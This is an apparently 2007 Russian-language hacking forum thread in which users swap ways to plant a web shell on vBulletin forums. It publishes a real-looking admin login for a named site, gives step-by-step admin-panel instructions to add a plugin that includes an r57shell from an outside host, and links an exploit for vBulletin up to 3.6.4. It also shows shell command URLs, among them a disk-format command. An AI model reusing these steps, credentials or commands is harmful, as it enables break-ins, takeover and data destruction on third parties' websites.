vBulletin 3.5.4 + shell

Discussion in 'Песочница' started by x_zStas_x, 24 Mar 2007.

  1. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Все тут чисто. Не парься, голяк тут полный. Но может можно по - другому обойти=)
     
  2. x_zStas_x

    x_zStas_x New Member

    Joined:
    17 Mar 2007
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    не догнал. обьясни почему голяк-то!
    я вот всё думаю почему модули-то включены.
    а даже самый простой код не обрабатывается :'(
     
    #22 x_zStas_x, 25 Mar 2007
    Last edited: 25 Mar 2007
  3. x_zStas_x

    x_zStas_x New Member

    Joined:
    17 Mar 2007
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    ладно!! фиг с вами!!) всё равно я не надеялся что там есть шестизнаки =)
    жуйте!
    http://6uin.info/forum/admincp/
    Ponka:xfhkbr

    репу хоть повысьте =)
     
    1 person likes this.
  4. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Можно поставить плюсик за то что "так много брутил" но лутше убери Log : pass к админке, вроде бы на форуме запрещено выкладывать шеллы , а тебе еще и минусов накидают :) .
     
    1 person likes this.
  5. x_zStas_x

    x_zStas_x New Member

    Joined:
    17 Mar 2007
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    да не, там с шеллом пустое дело! там все функции запрещены, которыми можно команды выполнять...
     
  6. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Защел я сегодня на этот форум, увидил много новых админов :)
     
    2 people like this.
  7. Validol

    Validol Elder - Старейшина

    Joined:
    15 Dec 2006
    Messages:
    177
    Likes Received:
    57
    Reputations:
    7
    Сейчас на этом форуме написано:

    "Вы лолы =)"

    Удивительно.
    А может кто-нибудь мне помочь со взломом vBulletin 3.6.4 ?
    Конкретно нужен пасс от админки, другое не нужно...
     
  8. SHaDoW[RF]

    SHaDoW[RF] New Member

    Joined:
    23 Dec 2006
    Messages:
    19
    Likes Received:
    1
    Reputations:
    0
    Validol
    я написал =)
     
  9. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    для булета я где то читал можно через шаблоны хмл заливать, сам шас ищу этот пост, если кто найдет киньте линк в ЛС
     
  10. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    http://video.antichat.ru/file221.html
    Тут всё показано)
     
  11. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    у меня админка старая, а форум 3.5.4, поэтому через смайлы никак, а модуля вообще нетБтак что твой способ мне не поможет, но я точно помню кто то писал тут, что можно через шаблоны заливать и даже точно говорил как, перечитал 13 страниц поиска ничего не нашел...
     
    1 person likes this.
  12. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Система модулей -> Управление модулями -> [Добавить новый модуль] -> Далее выбираешь Местоположение хака -> faq_complete. Заголовок пишешь любой к примеру 123
    Код PHP модуля пишешь include "http://http://hcr.3dn.ru/expl/php/r57shell.txt";
    Сохраняешь.И заходишь в FAQ и будет те счастье.
    Да и незабудь выбрать модуль включен -> Да
     
    #32 cardons, 10 Apr 2007
    Last edited: 10 Apr 2007
  13. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    А как подлить шелл в вобле 3.6.3?
     
  14. fersa

    fersa New Member

    Joined:
    22 Feb 2007
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Можно что нибудь зделать имея доступ супер модератора?
     
  15. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    http://milw0rm.com/exploits/3387 - vBulletin <= 3.6.4
     
  16. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    вот c воблы 3.6.3 кусок с щаблончика(кто на форуме):
    <a href="forumdisplay.php?$session[sessionurl]do=markread" rel="nofollow">$vbphrase[mark_forums_read]</a>-
    менюшка: Навигация->Все разделы прочитаны

    href="forumdisplay.php?$session[sessionurl]do=markread
    - попробывал из админ панели изминить на :
    http://www.myshell.ru/shell.php?cmd=id
    но походу админ запретил изменения файлов форума,
    мне не удалось поменять в шаблоне ни одного символа-
    You don't have permission to access/somescript.php.Хотя я знаю что админ менял этот скрипт и другие(копирайты вобловcкие убрал:) ).
     
    1 person likes this.
  17. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    Cпасибо конечно, но я же писал, что админка от 3.0.1 там нету вообще возможности добавлять модуль!

    2AkyHa_MaTaTa
    Я точно помню, я на ачате читал, что можно, надо будет самому потом разобраться
     
  18. valsha

    valsha New Member

    Joined:
    5 Apr 2007
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    а нормально сработает такая конструкуия forumpath/faq.php?cmd=format d: /Q
    с учетом того что шел нормально залился и forumpath/faq.php?cmd=dir показывает содержимое.
    спасибо.